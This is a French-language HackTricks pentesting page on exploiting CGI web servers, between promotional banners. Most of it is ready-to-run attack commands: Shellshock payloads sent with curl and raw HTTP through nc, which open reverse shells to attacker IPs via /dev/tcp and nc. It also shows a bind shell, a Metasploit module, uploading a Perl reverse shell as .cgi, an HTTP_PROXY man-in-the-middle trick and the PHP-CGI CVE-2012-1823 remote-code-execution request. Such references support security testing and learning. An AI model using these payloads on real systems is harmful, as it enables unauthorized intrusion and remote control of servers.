Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
# Information
Les **scripts CGI sont des scripts perl**, donc, si vous avez compromis un serveur qui peut exécuter des scripts _**.cgi**_, vous pouvez **uploader un reverse shell perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **changer l'extension** de **.pl** à **.cgi**, donner les **permissions d'exécution** \(`chmod +x`\) et **accéder** au reverse shell **depuis le navigateur web** pour l'exécuter.
Pour tester les **vulnérabilités CGI**, il est recommandé d'utiliser `nikto -C all` \(et tous les plugins\)
# **ShellShock**
Bash peut également être utilisé pour exécuter des commandes qui lui sont transmises par des applications et c'est cette fonctionnalité qui est affectée par la vulnérabilité. Un type de commande qui peut être envoyé à Bash permet de définir des variables d'environnement. Les variables d'environnement sont des valeurs nommées dynamiques qui affectent la manière dont les processus sont exécutés sur un ordinateur. La vulnérabilité réside dans le fait qu'un **attaquant peut ajouter du code malveillant à la variable d'environnement, qui s'exécutera une fois la variable reçue**.
L'exploitation de cette vulnérabilité peut faire en sorte que **la page affiche une erreur**.
Vous pourriez **trouver** cette vulnérabilité en remarquant qu'elle utilise une **version ancienne d'Apache** et **cgi\_mod** \(avec le dossier cgi\) ou en utilisant **nikto**.
## **Test**
La plupart des tests sont basés sur l'écho d'une chaîne de caractères et s'attendent à ce que cette chaîne soit renvoyée dans la réponse web. Si vous pensez qu'une page peut être vulnérable, recherchez toutes les pages cgi et testez-les.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(reflected, blind and out-of-band\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker)
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Exploiter
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **Proxy (MitM pour les requêtes au serveur Web)**
CGI crée une variable d'environnement pour chaque en-tête dans la requête http. Par exemple : "host:web.com" est créé comme "HTTP_HOST"="web.com"
Comme la variable HTTP_PROXY pourrait être utilisée par le serveur web. Essayez d'envoyer un **en-tête** contenant : "**Proxy: <IP_attaquant>:<PORT>**" et si le serveur effectue une requête pendant la session. Vous pourrez capturer chaque requête faite par le serveur.
# Ancien PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
En gros, si cgi est actif et que php est "ancien" (<5.3.12 / < 5.4.2\) vous pouvez exécuter du code.
Pour exploiter cette vulnérabilité, vous devez accéder à un fichier PHP du serveur web sans envoyer de paramètres \(en particulier sans envoyer le caractère "="\).
Ensuite, pour tester cette vulnérabilité, vous pourriez accéder par exemple à `/index.php?-s` \(notez le `-s`\) et **le code source de l'application apparaîtra dans la réponse**.
Ensuite, pour obtenir **RCE** vous pouvez envoyer cette requête spéciale : `/?-d allow_url_include=1 -d auto_prepend_file=php://input` et le **code PHP** à exécuter dans le **corps de la requête.
Exemple :**
```bash
curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Plus d'informations sur la vulnérabilité et les exploits possibles :** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Exemple de Writeup CTF**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).